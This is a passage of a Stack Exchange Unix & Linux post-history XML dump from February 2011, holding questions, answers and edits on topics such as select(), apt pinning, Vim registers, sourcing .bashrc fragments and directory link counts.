`__NFDBITS` from `/usr/include/sys/select.h` for the values on your platform.)&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;UPDATE 2&#xD;&#xA;&#xD;&#xA;As to why the function signature isn't &#xD;&#xA;&#xD;&#xA;    int select(fd_set *readfds, int nreadfds,&#xD;&#xA;               fd_set *writefds, int nwritefds,&#xD;&#xA;               fd_set *exceptfds, int nexceptfds,&#xD;&#xA;               struct timeval *timeout);&#xD;&#xA;&#xD;&#xA;My guess is it's because the code tries to keep all the arguments in [registers][4], so the CPU can work on them faster, and if it had to track an extra 2 variables, the CPU might not have enough registers.&#xD;&#xA;&#xD;&#xA;So in other words, `select` is exposing an implementation detail so that it can be faster.&#xD;&#xA;&#xD;&#xA;  * [BSD 4.4 Lite select source code][2] (select and selscan functions)&#xD;&#xA;  * [Linux 2.6.37 select source code][3] (do_select and max_select_fd functions)&#xD;&#xA;&#xD;&#xA;  [1]: http://www.apuebook.com/&#xD;&#xA;  [2]: http://svn.freebsd.org/viewvc/base/release/2.0/sys/kern/sys_generic.c?revision=1541&amp;view=markup&#xD;&#xA;  [3]: http://lxr.linux.no/linux+v2.6.37.1/fs/select.c&#xD;&#xA;  [4]: http://en.wikipedia.org/wiki/Processor_register" />
  <row Id="18267" PostHistoryTypeId="2" PostId="7798" RevisionGUID="39e0228f-f4e2-443f-8aca-0e3ed3f0c840" CreationDate="2011-02-21T21:38:34.163" UserId="885" Text="The failure is unrelated to `ffmpeg`, it's due to `ssmtp`. When you ran `apt-get install ffmpeg`, you already had the `ssmtp` package in an unpacked, but not fully-installed state, which in Debian terminology is called “installed but not configured”. That [configuration stage](http://www.debian.org/doc/debian-policy/ch-maintainerscripts.html#s-configdetails) mainly runs the package's `postinst` script, which typically registers the package's components with the appropriate service (shared libraries, menu entries, etc.). When `apt-get install` has finished installing (i.e. unpacking) the packages named on the command line and their dependencies, it “configures” every package (the underlying dpkg command is `dpkg --configure --pending`).&#xD;&#xA;&#xD;&#xA;[Warren Young has already explained why `ssmtp` couldn't be configured.](http://unix.stackexchange.com/questions/7736/why-did-apt-get-install-ffmpeg-fail/7737#7737)&#xD;&#xA;" />
  <row Id="18268" PostHistoryTypeId="5" PostId="7790" RevisionGUID="5c06fce9-d0e7-44a9-a65d-3080359c4658" CreationDate="2011-02-21T21:39:06.567" UserId="1107" Comment="Only one “p” is needed to put the contents of a register. Two “p”s results in also putting the contents of the unnamed register." Text="The commands you're talking about use the so-called &quot;unnamed&quot; register. It is meant only for very short term use. &quot;I'm gonna yank this from here and put it over there&quot; sort of things.&#xD;&#xA;&#xD;&#xA;When you want to hold onto something for more than a few seconds while you go and do something else, you should be using named registers.&#xD;&#xA;&#xD;&#xA;For instance, &lt;kbd&gt;&quot;&lt;/kbd&gt; &lt;kbd&gt;a&lt;/kbd&gt; &lt;kbd&gt;y&lt;/kbd&gt; &lt;kbd&gt;y&lt;/kbd&gt; will yank the line the cursor is on into the `a` register. Nothing will clobber it accidentally, unless you type another command involving the `a` register. Minutes, hours, even days later, you can type &lt;kbd&gt;&quot;&lt;/kbd&gt; &lt;kbd&gt;a&lt;/kbd&gt; &lt;kbd&gt;p&lt;/kbd&gt; to drop that yanked copy of the line from the `a` register below the one the cursor is on.&#xD;&#xA;&#xD;&#xA;(For this to work really well, you should have a line like `set viminfo='50,\&quot;1000` in your `~/.vimrc` file, to tell it to remember things like register contents across Vim sessions. You can then go on vacation between yank and put!)&#xD;&#xA;&#xD;&#xA;There are 26 named registers (a-z). If you give them as uppercase instead of as shown above, you append to the current register contents instead of replacing them. So, you can build up something really complex in, say, register `h` one piece at a time, then plop it all down at once with &lt;kbd&gt;&quot;&lt;/kbd&gt; &lt;kbd&gt;h&lt;/kbd&gt; &lt;kbd&gt;p&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;Notice that the register name is optional. This implies that there may be many commands you already know and use where you could be using named registers. Say `:help registers` in Vim to get some idea of the possibilities.&#xD;&#xA;&#xD;&#xA;Also, &lt;a href=&quot;http://www.thinkgeek.com/homeoffice/mugs/7bbe/&quot;&gt;get a Vi mug&lt;/a&gt;." />
  <row Id="18269" PostHistoryTypeId="24" PostId="7790" RevisionGUID="c3071caf-c9f5-42cf-b908-9eb1b48d0e88" CreationDate="2011-02-21T21:39:06.567" Comment="Proposed by 1107 approved by 138 edit id of 44" />
  <row Id="18270" PostHistoryTypeId="2" PostId="7799" RevisionGUID="7bdb884b-abb6-479d-b352-5b59918a7ff8" CreationDate="2011-02-21T21:49:02.840" UserId="885" Text="As you already realized, `{1..3}` expands to `1 2 3` but `{foo..bar}` or `{$foo..$bar}` don't trigger brace expansion, and the latter is subsequently expanded to replace `$foo` and `$bar` by their values.&#xD;&#xA;&#xD;&#xA;A fallback on GNU (e.g. non-embedded Linux) is the `seq` command.&#xD;&#xA;&#xD;&#xA;    for x in `seq $ext0 $extN`; do rm foo.$x; done&#xD;&#xA;&#xD;&#xA;Another possibility. if `foo.` contains no shell special character, is&#xD;&#xA;&#xD;&#xA;    rm `seq $ext0 $extN | sed 's/^/foo./'`&#xD;&#xA;&#xD;&#xA;The simplest solution is to use zsh, where `rm foo.{$ext0..$extN}` does what you want.&#xD;&#xA;" />
  <row Id="18271" PostHistoryTypeId="5" PostId="7733" RevisionGUID="526c8402-fd30-4a77-9715-e9990fd34d52" CreationDate="2011-02-21T22:15:40.650" UserId="885" Comment="fixed portability issue (some versions of ls print multiple spaces between columns)" Text="[Parsing the output of `ls` is rarely a good idea](http://mywiki.wooledge.org/ParsingLs), but obtaining the first few fields is an exception, it actually works.&#xD;&#xA;&#xD;&#xA;    ls -ld /path/to/directory | awk '{print $3}'&#xD;&#xA;&#xD;&#xA;Another option is to use a `stat` command, but the problem with `stat` from the shell is that there are multiple commands with different syntax, so `stat` in a shell script is unportable (even across Linux installations).&#xD;&#xA;&#xD;&#xA;Note that testing whether a given user is the owner is a different proposition.&#xD;&#xA;&#xD;&#xA;    if [ -n &quot;$(find . -user &quot;$username&quot; -print -prune -o -prune)&quot; ]; then&#xD;&#xA;      echo &quot;The current directory is owned by $username.&quot;&#xD;&#xA;    fi&#xD;&#xA;    if [ -n &quot;$(find . -user &quot;$(id -u)&quot; -print -prune -o -prune)&quot; ]; then&#xD;&#xA;      echo &quot;The current directory is owned by the current user.&quot;&#xD;&#xA;    fi&#xD;&#xA;" />
  <row Id="18272" PostHistoryTypeId="5" PostId="7732" RevisionGUID="bbb45cac-1d5e-4a98-9ae5-442a4100f794" CreationDate="2011-02-21T22:16:00.400" UserId="885" Comment="fixed portability issue (some versions of ls print multiple spaces between columns)" Text="[`stat`][1]  from [GNU coreutils][2] can do this:&#xD;&#xA;&#xD;&#xA;    stat -c '%U' /path/of/file/or/directory&#xD;&#xA;&#xD;&#xA;Unfortunately, there are a number of versions of `stat`, and there's not a lot of consistency in their syntax.  For example, on FreeBSD, it would be&#xD;&#xA;&#xD;&#xA;    stat -f '%Su' /path/of/file/or/directory&#xD;&#xA;&#xD;&#xA;If portability is a concern, you're probably better off using [Gilles's suggestion][3] of combining `ls` and `cut`.  It has to start two processes instead of one, but it has the advantage of using only POSIX-standard functionality:&#xD;&#xA;&#xD;&#xA;    ls -ld /path/of/file/or/directory | awk '{print $3}'&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/coreutils/manual/html_node/stat-invocation.html&#xD;&#xA;  [2]: http://www.gnu.org/software/coreutils/&#xD;&#xA;  [3]: http://unix.stackexchange.com/questions/7730/find-the-owner-of-a-directory-or-file-but-only-return-that-and-nothing-else/7733#7733" />
  <row Id="18273" PostHistoryTypeId="2" PostId="7800" RevisionGUID="4482bc9b-a1fd-44ec-8028-989dc7bfabfd" CreationDate="2011-02-21T22:31:59.183" UserId="688" Text="I am highly interested in the Stack Exchange concept. It just makes life so much easier for Unix/Linux Q&amp;A, and has encouraged me to ask a whole bunch of questions I wouldn't have bothered anyways, knowing the level of quality of answers I'd get.&#xD;&#xA;&#xD;&#xA;I'd like this to be **THE** place to go for Unix/Linux Q&amp;A, much like Stack Overflow is **THE** place for computer programming Q&amp;A. That's one reason I was excited to reach 2k rep, which allows editing anything I feel I can improve (and that was before this [boon][1]). My little contribution towards that goal is helping improve the quality, which is something I'm deeply interested in.&#xD;&#xA;&#xD;&#xA;I have been rather active here and on meta, with a combined activity count of [over a thousand items][2] (that surprised me BTW). There's [hundreds more][3] on main Meta, and those are reluctant (I normally go there to complain :)&#xD;&#xA;&#xD;&#xA;I also live on [room 26][4], so I can at least read the title of each question asked on this site. But I joined it mainly so that I can participate in the discussions there. [**sidenote**: I only wish more users would participate there, because it makes discussions easier; it's much better than dirtying the main site with needless Comments; oh, and it's much better than traditional IRC].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://meta.stackoverflow.com/q/74447/&#xD;&#xA;  [2]: http://unix.stackexchange.com/users/688/tshepang?tab=activity&#xD;&#xA;  [3]: http://meta.stackoverflow.com/users/147166/tshepang?tab=activity&#xD;&#xA;  [4]: http://chat.stackexchange.com/rooms/26" />
  <row Id="18274" PostHistoryTypeId="5" PostId="7778" RevisionGUID="b05a069d-0b30-4e9f-98d5-3920bc14c7c3" CreationDate="2011-02-21T22:58:20.053" UserId="2421" Comment="fixed typo" Text="The pinning of `experimental` and `backport` is in the repository itself (in the `Release` files). You can change the pinning as you wish, but you have to explicitly do it.&#xD;&#xA;&#xD;&#xA;Look in [experimental Release file](http://ftp.debian.org/debian/dists/experimental/Release) for the line `NotAutomatic: yes`. It comes from there.&#xD;&#xA;&#xD;&#xA;You can see actual pinning values with `apt-cache policy wajig`." />
  <row Id="18275" PostHistoryTypeId="24" PostId="7778" RevisionGUID="1df58778-d374-4ea6-b432-4735cd3a9906" CreationDate="2011-02-21T22:58:20.053" Comment="Proposed by 2421 approved by 885 edit id of 45" />
  <row Id="18276" PostHistoryTypeId="25" PostId="7793" RevisionGUID="6e9c574d-1f86-4624-9994-5d10afe23087" CreationDate="2011-02-21T23:23:15.420" Comment="http://twitter.com/#!/StackUnix/status/39827519834308608" />
  <row Id="18277" PostHistoryTypeId="2" PostId="7801" RevisionGUID="e4f95bec-8d10-428b-b88c-94b02ec4a031" CreationDate="2011-02-21T23:50:01.053" UserId="2536" Text="Try putting something like this in your `/etc/apt/preferences`&#xD;&#xA;&#xD;&#xA;    Package: wajig&#xD;&#xA;    Pin: release a=yourPreferredRepository&#xD;&#xA;    Pin-Priority: 700&#xD;&#xA;&#xD;&#xA;Not sure what `yourPreferredRepository` is. But substitute it in above." />
  <row Id="18278" PostHistoryTypeId="2" PostId="7802" RevisionGUID="7e724669-7b9f-4c36-bb94-1a9b1075426c" CreationDate="2011-02-21T23:51:39.973" UserId="3227" Text="I've read about using ffmpeg for screengrabbing before. Check out [ffmpeg with X11 grabbing][1] + [ffserver][2]. There may be some [progressive deterioration in A/V syncing though][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ffmpeg.org/ffmpeg-doc.html#SEC17&#xD;&#xA;  [2]: http://ubuntuforums.org/showthread.php?t=665607&#xD;&#xA;  [3]: http://www.ffmpeg.org/ffserver-doc.html" />
  <row Id="18279" PostHistoryTypeId="2" PostId="7803" RevisionGUID="c5d89fde-d6ed-4054-bba1-cb7faed335fe" CreationDate="2011-02-22T00:17:28.497" UserId="1375" Text="Back in the Windows/Mac days, I used the wonderfully easy to use Miro Video Converter to convert videos I have into either the more open and Freerer Theora or WebM formats. Two problems:&#xD;&#xA;&#xD;&#xA;(1) No Linux binary that I could use.&#xD;&#xA;&#xD;&#xA;(2) No advanced options that let me control the conversion process, such as embedding subtitles.&#xD;&#xA;&#xD;&#xA;Is there an alternative FLOSS on Linux that does this? Thanks!" />
  <row Id="18280" PostHistoryTypeId="1" PostId="7803" RevisionGUID="c5d89fde-d6ed-4054-bba1-cb7faed335fe" CreationDate="2011-02-22T00:17:28.497" UserId="1375" Text="Alternative to Miro Video Converter for Linux?" />
  <row Id="18281" PostHistoryTypeId="3" PostId="7803" RevisionGUID="c5d89fde-d6ed-4054-bba1-cb7faed335fe" CreationDate="2011-02-22T00:17:28.497" UserId="1375" Text="évideoàéconverteràétheoraàéwebmàéflossà" />
  <row Id="18282" PostHistoryTypeId="6" PostId="7803" RevisionGUID="70bd1dff-e276-47d3-9dfc-e9bdc70b616b" CreationDate="2011-02-22T00:30:13.323" UserId="885" Comment="edited tags" Text="ésoftwareörecàévideoàéfreeösoftwareàéconversionà" />
  <row Id="18283" PostHistoryTypeId="2" PostId="7804" RevisionGUID="adca5b69-b57f-4674-b5ec-9515812a7a55" CreationDate="2011-02-22T00:44:12.073" UserId="3887" Text="ffmpeg does both, of course............" />
  <row Id="18284" PostHistoryTypeId="2" PostId="7805" RevisionGUID="e31c80d2-cad7-4409-94ae-a641c844c8fa" CreationDate="2011-02-22T01:54:34.920" UserId="2138" Text="I don't use Windows all that often, but I've found my self in a position where I'm stuck in front of one quite a bit temporarily. So I've been investigating Cygwin. My question is dpkg available for Cygwin? My Google searches seem to show that it was at least at one point, but I can't find a package. If it isn't availiable as a package does anyone have any tips/experience getting it running?&#xD;&#xA;&#xD;&#xA;I'm not trying to create a Cygwin Debian port (although it sounds as if this was attempted in the past). At the minimum, I'd simply like to be able to build Debian source packages while on the Windows machine. (Yes, I know I could ssh over to a Debian box.) &#xD;&#xA;&#xD;&#xA;[Cygwin is apparently on topic here](http://meta.unix.stackexchange.com/questions/436/cygwin-on-topic), but it might not be the best place for this question. I hope this is ok...&#xD;&#xA;" />
  <row Id="18285" PostHistoryTypeId="1" PostId="7805" RevisionGUID="e31c80d2-cad7-4409-94ae-a641c844c8fa" CreationDate="2011-02-22T01:54:34.920" UserId="2138" Text="Is dpkg available for Cygwin?" />
  <row Id="18286" PostHistoryTypeId="3" PostId="7805" RevisionGUID="e31c80d2-cad7-4409-94ae-a641c844c8fa" CreationDate="2011-02-22T01:54:34.920" UserId="2138" Text="édpkgàécygwinà" />
  <row Id="18287" PostHistoryTypeId="2" PostId="7806" RevisionGUID="e86f7ba6-1ee6-449f-99b2-5b9cb8da1c6e" CreationDate="2011-02-22T02:08:24.590" UserId="4965" Text="It may be turned off now, at least in 2.4-git. However, make sure that the choice to allow the &quot;tooltips&quot; is unchecked in every playlist layout you use. Playlist &gt; Playlist Layouts." />
  <row Id="18288" PostHistoryTypeId="25" PostId="7772" RevisionGUID="ec95f52f-9cc9-4ece-b400-07a6a0b63634" CreationDate="2011-02-22T02:23:15.460" Comment="http://twitter.com/#!/StackUnix/status/39872819051372544" />
  <row Id="18289" PostHistoryTypeId="2" PostId="7807" RevisionGUID="571c0f12-0d84-4d1f-a85b-6597de82fb48" CreationDate="2011-02-22T02:28:30.743" UserId="4049" Text="An attempt to get dpkg working has been abandoned, according to [THIS][1] sourceforge page that was setup to investigate getting dpkg to work on Windows Cygwin.&#xD;&#xA;&#xD;&#xA;**Stick to a Virtual Box instance or SSH.**&#xD;&#xA;&#xD;&#xA;EDIT: If you are really interested, there is a huge thread about trying to get it work [here][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sourceforge.net/news/?group_id=251174&#xD;&#xA;  [2]: http://www.mail-archive.com/debian-win32@lists.debian.org/msg00210.html" />
  <row Id="18291" PostHistoryTypeId="2" PostId="7808" RevisionGUID="9df3a6b2-6eeb-4a2a-a61f-f9f008489867" CreationDate="2011-02-22T03:08:37.667" UserId="1535" Text="I've discovered that the easiest way to view info docs in vim is to just open them.  They are just gzipped text with some binary codes added in as markup.  This is especially useful to know in cases where it's not practical to install an addon.&#xD;&#xA;&#xD;&#xA;The location of the info docs is distro-specific; under ubuntu, and presumably other debian-likes, they are at `/usr/share/info/*.info.gz`.  They are gzipped, but vim will handle the translation for you if you just open them.&#xD;&#xA;&#xD;&#xA;I actually prefer this manner of viewing them to using the `info` reader, as it presents the docs as one long file that you can quickly search or page through.  Having an addon would still be useful to facilitate following links and such.  I actually haven't tried using the info plugin mentioned in the update; I haven't needed to look at an info file since then." />
  <row Id="18292" PostHistoryTypeId="2" PostId="7809" RevisionGUID="5460a051-138e-4715-b347-98e90770cfc0" CreationDate="2011-02-22T03:30:03.003" UserId="1070" Text="My .bashrc was getting a little long, so I decided to break it up into smaller files according to topic and then call these files from within .bashrc as so&#xD;&#xA;&#xD;&#xA;    #my long .bashrc file&#xD;&#xA;    bash .topic1rc&#xD;&#xA;    bash .topic2rc&#xD;&#xA;&#xD;&#xA;but, within one of these sub-scripts, I had created a bash function.  Unfortunately it is no longer available to me as it was before I broke everything into chunks.  How do a break my .bashrc file into chunks, but retain access to the variables and functions that I create?" />
  <row Id="18293" PostHistoryTypeId="1" PostId="7809" RevisionGUID="5460a051-138e-4715-b347-98e90770cfc0" CreationDate="2011-02-22T03:30:03.003" UserId="1070" Text="How to make functions created in normal bash script not persist like those in .bashrc" />
  <row Id="18294" PostHistoryTypeId="3" PostId="7809" RevisionGUID="5460a051-138e-4715-b347-98e90770cfc0" CreationDate="2011-02-22T03:30:03.003" UserId="1070" Text="ébashàéterminalà" />
  <row Id="18295" PostHistoryTypeId="2" PostId="7810" RevisionGUID="1df84983-cfd1-4d5f-84ce-8ce1c1a19f73" CreationDate="2011-02-22T03:51:47.787" UserId="3519" Text="If I understand your question correctly, you need to `source` or `.` your files. For example, within your `.bashrc` and taking care of order (only you know):&#xD;&#xA;&#xD;&#xA;    source .topic1rc&#xD;&#xA;    source .topic2rc&#xD;&#xA;&#xD;&#xA;`source` can be shortened to `.` on the command line for ease of use - it is exactly the same command. The effect of `source` is to effectively inline the script that is called." />
  <row Id="18296" PostHistoryTypeId="2" PostId="7811" RevisionGUID="923244df-b37d-4fe6-b4c3-2d364456a8f2" CreationDate="2011-02-22T03:58:15.397" UserId="2511" Text="What you are doing doesn't work because each `bash .topic1rc` invokes a new bash shell as a child process, and there's no way to communicate the environment, shell variables, or functions _back_ to the parent process, the bash shell you're interested in.&#xD;&#xA;&#xD;&#xA;What you want to do is use the `.` command (also available as the more verbose `source` — either one does the same thing). This reads the given script in the current shell rather than into a new shell. So:&#xD;&#xA;&#xD;&#xA;    #my long .bashrc file&#xD;&#xA;    . ~/.topic1rc&#xD;&#xA;    . ~/.topic2rc&#xD;&#xA;&#xD;&#xA;(It probably works fine for almost all use to omit the path, since the main `~/.bashrc` is usually executed when you log in and your home directory is your initial working directory, but it's much better practice to spell it out.)" />
  <row Id="18297" PostHistoryTypeId="2" PostId="7812" RevisionGUID="84468bfb-949e-47f9-ba2c-a348c813f560" CreationDate="2011-02-22T05:17:39.913" UserId="4950" Text="`$PATH` has `.`(cwd) and there is a file `ps` with executable permissions in the home directory.&#xD;&#xA;&#xD;&#xA;    # ls -lrt *ps*&#xD;&#xA;    -rw-rw-r--   1 sruser  batch          0 Jun 2 2010 ps&#xD;&#xA;    # type ps&#xD;&#xA;    ps is hashed (./ps)&#xD;&#xA;    # which ps&#xD;&#xA;    ./ps&#xD;&#xA;&#xD;&#xA;Hence the command was not giving any output." />
  <row Id="18298" PostHistoryTypeId="5" PostId="7800" RevisionGUID="3ca80290-52d4-448d-8a3d-3401a3800df2" CreationDate="2011-02-22T05:20:00.373" UserId="688" Comment="added 405 characters in body" Text="I am highly interested in the Stack Exchange concept. It just makes life so much easier for Unix/Linux Q&amp;A, and has encouraged me to ask a whole bunch of questions I wouldn't have bothered anyways, knowing the level of quality of answers I'd get.&#xD;&#xA;&#xD;&#xA;I'd like this to be **THE** place to go for Unix/Linux Q&amp;A, much like Stack Overflow is **THE** place for computer programming Q&amp;A. That's one reason I was excited to reach 2k rep, which allows editing anything I feel I can improve (and that was before this [boon][1]). My little contribution towards that goal is helping improve the quality, which is something I'm deeply interested in.&#xD;&#xA;&#xD;&#xA;I have been rather active here and on meta, with a combined activity count of [over a thousand items][2] (that surprised me BTW). There's [hundreds more][3] on main Meta. I go there a lot when I need to suggest something, or complain, or just to go see what's interesting.&#xD;&#xA;&#xD;&#xA;I also live on [room 26][4], so I can at least read the title of each question asked on this site. But I joined it mainly so that I can participate in the discussions there. [**sidenote**: I only wish more users would participate there, because it makes discussions easier; it's much better than dirtying the main site with needless Comments; oh, and it's much better than traditional IRC].&#xD;&#xA;&#xD;&#xA;There's at least one moderator tool I'd like to make use of, and that is [viewing a list of suggested edits by low rep user](http://meta.stackoverflow.com/q/80070/). Well, unless that request is taken into consideration, I will have to wait until I have 10k rep to do that (and am only [at 2k][5] now).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://meta.stackoverflow.com/q/74447/&#xD;&#xA;  [2]: http://unix.stackexchange.com/users/688/tshepang?tab=activity&#xD;&#xA;  [3]: http://meta.stackoverflow.com/users/147166/tshepang?tab=activity&#xD;&#xA;  [4]: http://chat.stackexchange.com/rooms/26&#xD;&#xA;  [5]: http://unix.stackexchange.com/users/688/tshepang" />
  <row Id="18299" PostHistoryTypeId="2" PostId="7813" RevisionGUID="800139e5-9483-4833-b690-6a015aa99eb5" CreationDate="2011-02-22T05:20:04.303" UserId="4968" Text="The manufacturer recommendfs RH9 (ugh) and many of the google search hits come up with comments from 2006/7 which detail xorg problems with the amd driver and I'm hoping someone here has had recent experience. I have two questions:&#xD;&#xA;&#xD;&#xA;1) Which Linux distribution (I'm going use gtk/boost/wxwidgets/cairo)&#xD;&#xA;&#xD;&#xA;1.1) My project is going to be a GUI which is moderately performance oriented, so is there any value in going minimal with the entire distro; given that the CPU is 500mhz? I'm thinking that if I can use some manifestation of ubuntu or some other popular distro with rich repositories that would probably work out the best for me.&#xD;&#xA;&#xD;&#xA;2) Is there a way to simulate the CPU &amp; chipset in a virtual environment (VMWare/VBox) etc so that I don't have to cross compile? I know its x86, so I'm assuming simply compiling on any &lt; i686 arch will work, but I'm sure there are some perf. optimizations done per architecture. &#xD;&#xA;&#xD;&#xA;Thanks !" />
  <row Id="18300" PostHistoryTypeId="1" PostId="7813" RevisionGUID="800139e5-9483-4833-b690-6a015aa99eb5" CreationDate="2011-02-22T05:20:04.303" UserId="4968" Text="Linux distribution for the AMD Geode LX 800 (i586)" />
  <row Id="18301" PostHistoryTypeId="3" PostId="7813" RevisionGUID="800139e5-9483-4833-b690-6a015aa99eb5" CreationDate="2011-02-22T05:20:04.303" UserId="4968" Text="élinuxàédistributionöchoiceà" />
  <row Id="18302" PostHistoryTypeId="25" PostId="7809" RevisionGUID="e8c3876c-60c9-48cb-bc4d-ca6dfd1c111c" CreationDate="2011-02-22T05:23:15.283" Comment="http://twitter.com/#!/StackUnix/status/39918117219995648" />
  <row Id="18303" PostHistoryTypeId="5" PostId="7801" RevisionGUID="fc28df7f-f4f2-4702-af3d-a87c9b889f83" CreationDate="2011-02-22T05:25:14.733" UserId="688" Comment="deleted 90 characters in body" Text="Try putting something like this in your `/etc/apt/preferences`:&#xD;&#xA;&#xD;&#xA;    Package: *&#xD;&#xA;    Pin: release a=squeeze&#xD;&#xA;    Pin-Priority: 700&#xD;&#xA;&#xD;&#xA;" />
  <row Id="18304" PostHistoryTypeId="5" PostId="7813" RevisionGUID="3d6a86d0-987d-4225-9a94-e4e91a08d897" CreationDate="2011-02-22T07:03:30.347" UserId="688" Comment="formatting" Text="The manufacturer recommendfs RH9 (ugh) and many of the google search hits come up with comments from 2006/7 which detail xorg problems with the AMD video driver and I'm hoping someone here has had recent experience. I have two questions:&#xD;&#xA;&#xD;&#xA;1. Which Linux distribution (I'm going use gtk/boost/wxwidgets/cairo)&#xD;&#xA;&#xD;&#xA;    * My project is going to be a GUI which is moderately performance oriented, so is there any value in going minimal with the entire distro, given that the CPU is 500mhz? I'm thinking that if I can use some manifestation of Ubuntu or some other popular distro with rich repositories, that would probably work out the best for me.&#xD;&#xA;&#xD;&#xA;2. Is there a way to simulate the CPU &amp; chipset in a virtual environment (VMWare/VBox etc) so that I don't have to cross compile? I know its x86, so I'm assuming simply compiling on any &lt; i686 arch will work, but I'm sure there are some performance optimizations done per architecture. &#xD;&#xA;" />
  <row Id="18305" PostHistoryTypeId="2" PostId="7814" RevisionGUID="b6910c1a-eb6e-4fce-9dd7-b9d12efba86a" CreationDate="2011-02-22T07:31:38.757" UserId="4972" Text="As per the question I am thinking it is either two or three.&#xD;&#xA;&#xD;&#xA;mkdir ~/a&#xD;&#xA;&#xD;&#xA;1 entry for the dir it sits in (~/a)&#xD;&#xA;1 entry for itself (cd a &amp;&amp; ls .)&#xD;&#xA;and/or 1 entry for itself again (cd a &amp;&amp; ls ..)&#xD;&#xA;&#xD;&#xA;Could someone clarify if this is two or three? Thanks" />
  <row Id="18306" PostHistoryTypeId="1" PostId="7814" RevisionGUID="b6910c1a-eb6e-4fce-9dd7-b9d12efba86a" CreationDate="2011-02-22T07:31:38.757" UserId="4972" Text="How many entries are created when you make a new directory in *nix?" />
  <row Id="18307" PostHistoryTypeId="3" PostId="7814" RevisionGUID="b6910c1a-eb6e-4fce-9dd7-b9d12efba86a" CreationDate="2011-02-22T07:31:38.757" UserId="4972" Text="élinuxàéunixàédirectoryà" />
  <row Id="18308" PostHistoryTypeId="2" PostId="7815" RevisionGUID="e0474f0d-5cd9-4f28-8f93-3580902b5e06" CreationDate="2011-02-22T07:38:42.380" UserId="1267" Text="&#xD;&#xA;I have been using UBUNTU 10.10 and the major problem was the wifi which was not working at all. It worked in Ubuntu 9.10. So after many futile attempts i decided run a 'Live CD'of UBUNTU 9.10. The Wi-Fi worked. Then after restarting i was amazed to see that the Wi-fi was even working in ubuntu 10.10. My question is:&#xD;&#xA;&#xD;&#xA;- What could be the reason? I tried lot of things, like blacklisting ath5k but nothing worked out. Now after doing the live Cd, its working. " />
  <row Id="18309" PostHistoryTypeId="1" PostId="7815" RevisionGUID="e0474f0d-5cd9-4f28-8f93-3580902b5e06" CreationDate="2011-02-22T07:38:42.380" UserId="1267" Text="Wifi working after running Live Cd" />
  <row Id="18310" PostHistoryTypeId="3" PostId="7815" RevisionGUID="e0474f0d-5cd9-4f28-8f93-3580902b5e06" CreationDate="2011-02-22T07:38:42.380" UserId="1267" Text="éwirelessà" />
  <row Id="18311" PostHistoryTypeId="5" PostId="7814" RevisionGUID="fce7eb71-297c-419d-bbf9-4c4d0aaadb79" CreationDate="2011-02-22T07:46:24.800" UserId="688" Comment="formatting; clarification" Text="As per the question, I am thinking `mkdir ~/a` is either two or three:&#xD;&#xA;&#xD;&#xA;* 1 entry for the dir it sits in (`~/a`)&#xD;&#xA;* 1 entry for itself (`cd a &amp;&amp; ls .`)&#xD;&#xA;* and/or 1 entry for itself again (`cd a &amp;&amp; ls ..`)&#xD;&#xA;&#xD;&#xA;Could someone clarify if this is two or three?" />
  <row Id="18312" PostHistoryTypeId="2" PostId="7816" RevisionGUID="0e62c46f-2551-4e39-990a-1017331d91a3" CreationDate="2011-02-22T07:55:37.223" UserId="4477" Text="In an empty directory:&#xD;&#xA;&#xD;&#xA;    % stat .&#xD;&#xA;      File: `.'&#xD;&#xA;      Size: 6               Blocks: 0          IO Block: 4096   directory&#xD;&#xA;    Device: fe04h/65028d    Inode: 537317737   Links: 2&#xD;&#xA;    Access: (0750/drwxr-x---)  Uid: ( 1000/stribika)   Gid: (  100/   users)&#xD;&#xA;    Access: 2011-02-22 08:47:20.935036074 +0100&#xD;&#xA;    Modify: 2011-02-22 08:47:20.935036074 +0100&#xD;&#xA;    Change: 2011-02-22 08:47:20.935036074 +0100&#xD;&#xA;     Birth: -&#xD;&#xA;    % mkdir foo&#xD;&#xA;    % stat .&#xD;&#xA;      File: `.'&#xD;&#xA;      Size: 16              Blocks: 0          IO Block: 4096   directory&#xD;&#xA;    Device: fe04h/65028d    Inode: 537317737   Links: 3&#xD;&#xA;    Access: (0750/drwxr-x---)  Uid: ( 1000/stribika)   Gid: (  100/   users)&#xD;&#xA;    Access: 2011-02-22 08:47:20.935036074 +0100&#xD;&#xA;    Modify: 2011-02-22 08:47:57.465036072 +0100&#xD;&#xA;    Change: 2011-02-22 08:47:57.465036072 +0100&#xD;&#xA;     Birth: -&#xD;&#xA;    % stat foo&#xD;&#xA;      File: `foo'&#xD;&#xA;      Size: 6               Blocks: 0          IO Block: 4096   directory&#xD;&#xA;    Device: fe04h/65028d    Inode: 509269      Links: 2&#xD;&#xA;    Access: (0750/drwxr-x---)  Uid: ( 1000/stribika)   Gid: (  100/   users)&#xD;&#xA;    Access: 2011-02-22 08:47:57.465036072 +0100&#xD;&#xA;    Modify: 2011-02-22 08:47:57.465036072 +0100&#xD;&#xA;    Change: 2011-02-22 08:47:57.465036072 +0100&#xD;&#xA;     Birth: -&#xD;&#xA;&#xD;&#xA;As you can see there are 2 links to an empty directory. When I create a new one inside it the link count increases to 3. Additionaly there are 2 links to the new directory. The total is 3 new links.&#xD;&#xA;&#xD;&#xA;This is because every directory has a link to itself (.) and its parent (..) ." />
  <row Id="18313" PostHistoryTypeId="25" PostId="7814" RevisionGUID="6c5e6181-4b8e-4f2e-a082-6772969cbfef" CreationDate="2011-02-22T08:23:15.457" Comment="http://twitter.com/#!/StackUnix/status/39963415585894400" />
  <row Id="18314" PostHistoryTypeId="2" PostId="7817" RevisionGUID="69fda44b-39df-4004-9adc-60fa81c1fea5" CreationDate="2011-02-22T08:23:48.140" UserId="4812" Text="How can I find out which wifi driver is installed and running on my system? &#xD;&#xA;&#xD;&#xA;I know about `lsmod`, but how do I figure out which driver does what? I am running ubuntu 10.04." />
  <row Id="18315" PostHistoryTypeId="1" PostId="7817" RevisionGUID="69fda44b-39df-4004-9adc-60fa81c1fea5" CreationDate="2011-02-22T08:23:48.140" UserId="4812" Text="how to find out which wifi driver is installed?" />
